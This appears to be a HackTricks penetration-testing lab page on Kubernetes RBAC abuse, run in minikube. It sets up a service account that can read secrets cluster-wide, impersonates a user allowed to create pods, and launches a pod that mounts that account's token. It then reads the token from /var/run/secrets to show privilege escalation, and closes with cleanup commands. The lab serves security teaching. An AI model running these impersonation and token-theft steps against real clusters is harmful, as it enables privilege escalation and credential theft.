hacktricks/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md
2022-01-08 16:32:46 +00:00

3.4 KiB

K8s Roles Abuse Lab

You can run this lab just inside minikube.

We are going to create:

  • A Service account "test-sa" with a cluster privilege to read secrets
    • A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
  • Permissions to list and create pods to a user called "Test" will be given
    • A Role "test-r" and RoleBinding "test-rb" will be created
  • Then we will confirm that the SA can list secrets and that the user Test can list a pods
  • Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.
    • This is the way yo show the user could escalate privileges this way

{% hint style="info" %} To create the scenario an admin account is used.
Moreover, to exfiltrate the sa token in this example the admin account is used to exec inside the created pod. However, as explained here, the declaration of the pod could contain the exfiltration of the token, so the "exec" privilege is not necesario to exfiltrate the token, the "create" permission is enough. {% endhint %}

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa